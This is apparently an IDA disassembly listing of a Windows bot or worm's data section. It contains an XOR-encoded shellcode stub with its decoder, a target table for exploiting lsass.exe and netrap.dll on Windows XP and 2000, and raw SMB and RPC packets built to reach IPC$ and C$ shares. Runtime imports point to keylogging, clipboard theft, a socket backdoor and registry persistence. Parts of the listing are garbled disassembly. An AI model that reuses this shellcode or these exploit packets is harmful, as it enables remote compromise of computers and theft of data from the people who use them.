		dd 1, 0
		dd 1, 0
		dd offset loc_40A898+2
		dd 1, 0
		dd 1, 0
		dd offset loc_40A898+2
		dd 1, 0
		dd 1, 0
		dd offset loc_40A898+2
		dd 1, 0
		dd 1, 2	dup(0)
word_4319C0	dw 0AD9Dh		; DATA XREF: sub_4150F9+2Ar
					; sub_415242+CCr
		align 4
		dd 2 dup(0)
aWinxpProfessio	db 'WinXP Professional    [universal] lsass.exe ',0
		align 10h
dword_431A00	dd 1004600h						; sub_415242+223r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
; ---------------------------------------------------------------------------


loc_431AB8:				; DATA XREF: .text:00415961o
					; .text:004159DFo
		jmp	short loc_431ACA

; =============== S U B	R O U T	I N E =======================================



sub_431ABA	proc near		; CODE XREF: sub_431ABA:loc_431ACAp
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_431AC2:				; CODE XREF: sub_431ABA+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_431AC2
		jmp	short loc_431ACF
; ---------------------------------------------------------------------------


loc_431ACA:				; CODE XREF: .text:loc_431AB8j
		call	sub_431ABA


loc_431ACF:				; CODE XREF: sub_431ABA+Ej
		jo	short near ptr dword_431A3C+2Ah
		cwde
		cdq
		cdq
		retn
sub_431ABA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
word_431B68	dw 4B9Dh		; DATA XREF: .text:00415942w
		dw 59AAh
		dd 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh,	66CAC9C9h
		dd 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h,	10627B17h
		dd 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h, 0AACFC989h
		dd 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h, 0C8C9A5DEh
		dd 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h, 591C3559h
		dd 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h,	66677671h
		dd 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh
		dd 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h, 0F8FCEBF1h
		dd 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h, 0AAC6ABEAh
		dd 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h, 0F0F599FDh
		dd 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh, 0FAF6EAFCh
		dd 99EDFCF2h, 0
dword_431C50	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: .text:00415B0Co
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 2 dup(0)
dword_431CE0	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: .text:00415B3Eo
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows20002_0:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_1:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
dword_431D90	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: .text:00415B69o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_431E70	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: .text:004158ACo
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC_5:					; DATA XREF: .text:004158EFo
		unicode	0, <C$>,0
a?????_0	db '?????',0
		dd 2 dup(0)
dword_431ED8	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: .text:00415BC1o
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 2 dup(0)
dword_431F48	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: .text:00415BECo
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0)
dword_431FF0	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: .text:00415C20o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_432070	dd offset loc_401494+1	; DATA XREF: .text:00415C50o
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	2 dup(0)
dword_432108	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: .text:00415C82o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 2 dup(0)
dword_432178	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: .text:00415CA7o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0)
dword_4321F0	dd 0				dd offset loc_40A898+2
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A898+2
		dd 1, 0
		dd 1, 0
		dd offset loc_40A898+2
		dd 1, 0
		dd 1, 0
		dd offset loc_40A898+2
		dd 1, 0
		dd 1, 3	dup(0)
aWinxpProfess_0	db 'WinXP Professional    [universal] lsass.exe ',0
		align 10h
dword_4322B0	dd 1004600h						; .text:004159C7r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0
		dd 9875h, 9873h
off_432338	dd offset sub_41721D	; DATA XREF: sub_41827Br
		dd offset nullsub_1
		dd offset nullsub_1
		align 10h
dword_432350	dd 19930520h, 3	dup(0)					; sub_417DC6+2o
off_432360	dd offset sub_4183C4	; DATA XREF: sub_4185EA+1Cr
dword_432364	dd 2							; sub_41DA6E+Er ...
off_432368	dd offset aNull_1	; DATA XREF: sub_4189AC:loc_418D72r
					; sub_4189AC+4E4r
					; "(null)"
off_43236C	dd offset aNull		; DATA XREF: sub_4189AC+2ACr
					; "(null)"
dword_432370	dd 3							; sub_419141+16w ...
		align 10h
		dd 43h,	0
dword_432388	dd 1, 8	dup(0)						; .text:off_4323DCo
		dd 2 dup(1), 3 dup(0)
		dd offset off_432D64
		align 10h
		dd offset word_42C182
		dd offset off_432CA8
		dd 0
off_4323DC	dd offset dword_432388	; DATA XREF: sub_416C0A+Ar
					; sub_417456+1Cr ...
		dd 0
		dd 1, 8	dup(0)
		dd 43h,	21h dup(0)
		dd 43h,	20h dup(0)
		dd 10h
off_432518	dd offset dword_4811C0	; DATA XREF: sub_41A034:loc_41A071w
					; sub_41A07D+8o ...
dword_43251C	dd 1				dd offset dword_4811D8
		dd 1, 2	dup(0)
		dd offset dword_4811F0
		dd 1, 481208h, 1, 2 dup(0)
		dd offset dword_481220
		dd 1, 481238h, 1, 481250h, 1, 2	dup(0)
		dd offset dword_481268
		dd 1, 2	dup(0)
		dd offset dword_481280
		dd 1, 481298h, 1, 4812B0h, 1, 2	dup(0)
		dd offset dword_4812C8
		dd 1, 4812E0h, 1, 4812F8h, 1, 22h dup(0)
off_432638	dd offset dword_481940	; DATA XREF: sub_41A07D+2Ao
					; sub_41A07D+4Ao ...
		align 10h
		dd offset dword_481940
		dd 101h
dword_432648	dd 0FFFFFFFFh, 0		dd 1000h, 0
dword_432658	dd 3 dup(0)						; sub_41C534+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_432678	dd 3 dup(0)						; sub_41C534:loc_41C552o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_4326A8	dd 7Ch dup(0)	dword_432898	dd 8 dup(0)						; sub_41B0E4+Do
dword_4328B8	dd 2 dup(0)	dword_4328C0	dd 1		dword_4328C4	dd 16h				dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
off_432A28	dd offset sub_41BE9E	; DATA XREF: sub_4171E5+5w
					; sub_4189AC+43Er
off_432A2C	dd offset sub_41BB18	; DATA XREF: sub_4171E5+Aw
					; sub_4189AC+46Ar
off_432A30	dd offset sub_41BB7D	; DATA XREF: sub_4171E5+14w
					; sub_419255+40Dr
off_432A34	dd offset sub_41BADC	; DATA XREF: sub_4171E5+1Ew
					; sub_4189AC+459r
off_432A38	dd offset sub_41BB63	; DATA XREF: sub_4171E5+28w
off_432A3C	dd offset sub_41BE9E	; DATA XREF: sub_4171E5+32w
off_432A40	dd offset word_42C182	; DATA XREF: sub_41756A:loc_41763Cr
					; sub_4189AC:loc_418BABr ...
off_432A44	dd offset word_42C38A	; DATA XREF: sub_421C33+18r
dword_432A48	dd 21D3DDA7h						; sub_4189AC+9r ...
		dd offset loc_420637
off_432A50	dd offset sub_41CE51	; DATA XREF: sub_41CE86+Cr
		align 10h
byte_432A60	db 1			; DATA XREF: sub_41D165+C8r
		db 2, 4, 8
		align 8
dword_432A68	dd 3A4h		dword_432A6C	dd 82798260h			dd 21h,	0
dword_432A78	dd 0DFA6h			align 10h
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_432B58	dd 2							; sub_41D8F7+32r
off_432B5C	dd offset aR6002FloatingP ; DATA XREF: sub_41D8F7+DEr
					; sub_41D8F7+11Br ...
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 42C914h, 9, 42C8E8h, 0Ah,	42C850h, 10h, 42C824h
		dd 11h,	42C7F4h, 12h, 42C7D0h, 13h, 42C7A4h, 18h, 42C76Ch
		dd 19h,	42C744h, 1Ah, 42C70Ch, 1Bh, 42C6D4h, 1Ch, 42C6ACh
		dd 78h,	42C69Ch, 79h, 42C68Ch, 7Ah, 42C67Ch, 0FCh, 4239F0h
		dd 0FFh, 42C66Ch
dword_432BE8	dd 0C0000005h, 0Bh, 0					; sub_4191D0+47o
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_432C60	dd 3							; sub_41DAA7+A3r ...
dword_432C64	dd 7							; sub_41DAA7+A9r ...
		dd 78h
dword_432C6C	dd 0Ah							; sub_421355r
dword_432C70	dd 0FFFFFFFFh, 0A80h, 7	dup(0)					; sub_41B136:loc_41B1BCo
dword_432C94	dd 1		byte_432C98	db 2Eh			; DATA XREF: sub_419255:loc_419560r
					; sub_419255+329r ...
		align 4
		dd 1, 432CA8h, 0
off_432CA8	dd offset aSun		; DATA XREF: .text:004323D4o
					; "Sun"
; ---------------------------------------------------------------------------
		or	al, 0CBh
		inc	edx
		add	[eax], cl
		retf
; ---------------------------------------------------------------------------
		dw 42h
		dd offset aWed		; "Wed"
		dd offset aThu		; "Thu"
; ---------------------------------------------------------------------------
		cld
		retf	42h
; ---------------------------------------------------------------------------
		clc
		retf	42h
; ---------------------------------------------------------------------------
		dd offset aSunday	; "Sunday"
		dd offset aMonday	; "Monday"
		dd offset aTuesday	; "Tuesday"
; ---------------------------------------------------------------------------
		aam	0CAh
		inc	edx
		add	al, cl
		retf	42h
; ---------------------------------------------------------------------------
		ror	dl, 42h
		add	[edx+ecx*8-354FFFBEh], dh
		inc	edx
		add	[edx+ecx*8-3557FFBEh], ch
		inc	edx
		add	[edx+ecx*8-355FFFBEh], ah
		inc	edx
		add	[edx+ecx*8-3567FFBEh], bl
		inc	edx
		add	[edx+ecx*8-356FFFBEh], dl
		inc	edx
		add	[edx+ecx*8-3577FFBEh], cl
		inc	edx
		add	[edx+ecx*8-3583FFBEh], al
		inc	edx
		add	[eax-36h], dh
		inc	edx
		add	[eax-36h], ch
		inc	edx
		add	[eax-36h], ah
		inc	edx
		add	[eax+580042CAh], ah
		retf	42h
; ---------------------------------------------------------------------------
		push	eax
		retf	42h
; ---------------------------------------------------------------------------
		dec	eax
		retf	42h
; ---------------------------------------------------------------------------
		cmp	al, 0CAh
		inc	edx
		add	[edx+ecx*8], dh
		inc	edx
		add	[eax], ch
		retf	42h
; ---------------------------------------------------------------------------
		sbb	al, 0CAh
		inc	edx
		add	ds:35280042h[esi], ah
		inc	edx
		add	[eax], dl
		retf	42h
; ---------------------------------------------------------------------------
		dd offset aDdddMmmmDdYyyy ; "dddd, MMMM	dd, yyyy"
		dd offset aHhMmSs	; "HH:mm:ss"
		dd 409h, 1, 0
dword_432D60	dd 2Eh		off_432D64	dd offset dword_432D60	; DATA XREF: sub_41EC2A+15r
					; .text:004323C0o ...
off_432D68	dd offset dword_481440	; DATA XREF: sub_41EC2A+32r
off_432D6C	dd offset dword_481440	; DATA XREF: sub_41EC2A+4Er
off_432D70	dd offset dword_481440	; DATA XREF: sub_41EC89+1Br
off_432D74	dd offset dword_481440	; DATA XREF: sub_41EC89+38r
off_432D78	dd offset dword_481440	; DATA XREF: sub_41EC89+55r
off_432D7C	dd offset dword_481440	; DATA XREF: sub_41EC89+72r
off_432D80	dd offset dword_481440	; DATA XREF: sub_41EC89+8Fr
off_432D84	dd offset dword_481440	; DATA XREF: sub_41EC89+ACr
off_432D88	dd offset dword_481440	; DATA XREF: sub_41EC89+C8r
		dd 2 dup(7F7F7F7Fh)
off_432D94	dd offset off_432D64	; DATA XREF: sub_41EC2A+Br
					; sub_41EC2A+27r ...
		align 10h
		dd 1, 3	dup(0)
dword_432DB0	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_432DC8	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh, 7080h, 1,	0FFFFF1F0h
					; DATA XREF: sub_41FECFo
		dd 0
dword_432DF0	dd 545350h, 0Fh	dup(0)dword_432E30	dd 544450h, 0Fh	dup(0)		dd offset dword_432DF0
		dd offset dword_432E30
		dd 0FFFFFFFFh, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd 0FFFFFFFFh, 1Eh, 3Bh, 5Ah, 78h, 97h,	0B5h, 0D4h, 0F3h
		dd 111h, 130h, 14Eh, 16Dh, 0FFFFFFFFh, 1Eh, 3Ah, 59h, 77h
		dd 96h,	0B4h, 0D3h, 0F2h, 110h,	12Fh, 14Dh, 16Ch, 2 dup(0)
dword_432F00	dd 2 dup(0)			dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_433060	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_4217FB+26o
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh,	0
dword_4331C0	dd 0							; sub_4017DA+CFw ...
dword_4331C4	dd 0							; sub_401B65+D7w ...
		dd 3E6h	dup(0)
dword_434160	dd 6 dup(0)						; sub_401950+129o ...
dword_434178	dd 0							; sub_401141+347o
dword_43417C	dd 0A2h	dup(0)	dword_434404	dd 41h dup(0)	dword_434508	dd 0							; sub_401141+2F5r
		align 10h
dword_434510	dd 0							; sub_401141+359r
dword_434514	dd 0		dword_434518	dd 0		dword_43451C	dd 0				dd 0
dword_434524	dd 0		dword_434528	dd 0							; sub_401141+23Bo
dword_43452C	dd 41h dup(0)	dword_434630	dd 41h dup(0)	dword_434734	dd 0							; sub_401141+24Dr
dword_434738	dd 0		dword_43473C	dd 0							; sub_401141+208r
dword_434740	dd 20h dup(0)						; sub_401141+1F3o
dword_4347C0	dd 0		dword_4347C4	dd 0							; sub_401141+1FDw
dword_4347C8	dd 0				align 10h
dword_4347D0	dd 0							; sub_401141+FFo
dword_4347D4	dd 41h dup(0)	dword_4348D8	dd 41h dup(0)	dword_4349DC	dd 0							; sub_401141+111r
dword_4349E0	dd 0		dword_4349E4	dd 0							; sub_401141+CCr
dword_4349E8	dd 20h dup(0)						; sub_401141+B7o
dword_434A68	dd 0		dword_434A6C	dd 0							; sub_401141+C1w
dword_434A70	dd 0				align 8
dword_434A78	dd 1F4h	dup(0)						; sub_401F6Do ...
		db 0
byte_435249	db 3 dup(0)		; DATA XREF: .text:off_4276F0o
		dd 0E0Bh dup(0)
dword_438A78	dd 0							; sub_401F6D+Eo ...
dword_438A7C	dd 0Dh dup(0)	dword_438AB0	dd 2 dup(0)	dword_438AB8	dd 200h	dup(0)						; sub_403B37+97o ...
dword_4392B8	dd 0		; resolved to->NTDLL.ZwQuerySystemInformation					; sub_403810+65r ...
dword_4392BC	dd 0		; resolved to->NTDLL.RtlRunDecodeUnicodeString					; sub_403CEE+53r ...
dword_4392C0	dd 200h	dup(0)						; sub_403B37+AEo ...
dword_439AC0	dd 0		; resolved to->NTDLL.RtlCreateQueryDebugBuffer					; sub_403DEF+85w
dword_439AC4	dd 0		; resolved to->NTDLL.RtlQueryProcessDebugInformation					; sub_403DEF+92w
dword_439AC8	dd 0		; resolved to->NTDLL.RtlDestroyQueryDebugBuffer					; sub_403810+173r ...
dword_439ACC	dd 0							; sub_403C5C+2Fr ...
dword_439AD0	dd 0							; sub_403B37+FFw
dword_439AD4	dd 0							; sub_403B37+105w ...
dword_439AD8	dd 0							; sub_403C5C+49r
		align 10h
dword_439AE0	dd 80h dup(0)	dword_439CE0	dd 80h dup(0)	dword_439EE0	dd 0							; sub_404151+51r ...
dword_439EE4	dd 0							; sub_404260+A0r ...
byte_439EE8	db 0			; DATA XREF: sub_40598C+11Ew
					; sub_40598C+220o
		align 2
word_439EEA	dw 0			; DATA XREF: sub_40598C+12Bw
word_439EEC	dw 0			; DATA XREF: sub_40598C+136w
word_439EEE	dw 0			; DATA XREF: sub_40598C+13Fw
byte_439EF0	db 0			; DATA XREF: sub_40598C+145w
byte_439EF1	db 0			; DATA XREF: sub_40598C+14Cw
word_439EF2	dw 0			; DATA XREF: sub_40598C+153w
dword_439EF4	dd 0							; sub_40598C+19Bw
dword_439EF8	dd 0		byte_439EFC	db 0			; DATA XREF: sub_40598C+1B2w
byte_439EFD	db 0			; DATA XREF: sub_40598C+1C2w
word_439EFE	dw 0			; DATA XREF: sub_40598C+1D5w
word_439F00	dw 0			; DATA XREF: sub_40598C+1E7w
word_439F02	dw 0			; DATA XREF: sub_40598C+1DDw
dword_439F04	dd 100h	dup(0)	dword_43A304	dd 71AB615Ah	; resolved to->WS2_32.recv					; sub_403FEB+F8r ...
dword_43A308	dd 71AB951Eh	; resolved to->WS2_32.getsockname					; sub_4061D5+786r ...
dword_43A30C	dd 5B8A3009h						; sub_4061D5+A08r ...
dword_43A310	dd 42C41384h	; resolved to->WININET.InternetCrackUrlA					; sub_4061D5+88Er ...
dword_43A314	dd 71AB8769h	; resolved to->WS2_32.WSASocketA					; sub_4061D5+522w ...
dword_43A318	dd 42C367F6h	; resolved to->WININET.InternetGetConnectedState					; sub_4061D5+84Fr ...
dword_43A31C	dd 7C8214E3h	; resolved to->KERNEL32.GetDriveTypeA					; sub_4061D5+8Cw ...
dword_43A320	dd 7E430225h	; resolved to->USER32.CloseClipboard					; sub_4061D5+1E2r ...
dword_43A324	dd 7E41B933h	; resolved to->USER32.IsWindow					; sub_4023C0+69r ...
dword_43A328	dd 71AB2D0Fh	; resolved to->WS2_32.recvfrom					; sub_4061D5+756r ...
dword_43A32C	dd 77F15B80h	; resolved to->GDI32.SelectObject					; sub_4061D5+46Fw ...
dword_43A330	dd 71B25099h						; sub_4141FB+A3r
dword_43A334	dd 71AB4519h	; resolved to->WS2_32.ioctlsocket					; sub_405549+B1r ...
dword_43A338	dd 42C2C8A1h	; resolved to->WININET.InternetOpenA					; sub_4061D5+855r
dword_43A33C	dd 7E430237h	; resolved to->USER32.OpenClipboard					; sub_4061D5+1D2r ...
dword_43A340	dd 7E41F3B3h	; resolved to->USER32.GetAsyncKeyState					; sub_4061D5+206w ...
dword_43A344	dd 7C863F58h	; resolved to->KERNEL32.Process32Next					; sub_4061D5+CAr ...
dword_43A348	dd 5B897BE9h						; sub_4061D5+9F8r ...
dword_43A34C	dd 71AB406Ah	; resolved to->WS2_32.connect					; sub_403FEB+8Dr ...
dword_43A350	dd 7E43212Bh	; resolved to->USER32.GetWindowTextA					; sub_405ED4+77r ...
dword_43A354	dd 7432FF6Bh						; sub_4061D5+C00r
dword_43A358	dd 77DD7883h	; resolved to->ADVAPI32.RegQueryValueExA					; sub_4061D5+2D6r
dword_43A35C	dd 71AC1028h	; resolved to->WS2_32.accept					; sub_4061D5+640w ...
dword_43A360	dd 7E41BE4Bh	; resolved to->USER32.GetForegroundWindow					; sub_405ED4+62r ...
dword_43A364	dd 74327E4Dh	dword_43A368	dd 5B894160h						; sub_4061D5+A10r ...
dword_43A36C	dd 71AB2C69h	; resolved to->WS2_32.sendto					; sub_40598C+228r ...
dword_43A370	dd 7CA235CBh	; resolved to->SHELL32.SHChangeNotifydword_43A374	dd 7C80AC0Fh	; resolved to->KERNEL32.SetErrorMode					; sub_4061D5+ADr ...
dword_43A378	dd 71B2547Ah						; sub_4061D5+B30r ...
dword_43A37C	dd 5B894541h						; sub_4061D5+A20r ...
dword_43A380	dd 77DDEBE7h	; resolved to->ADVAPI32.RegSetValueExA					; sub_4061D5+298w ...
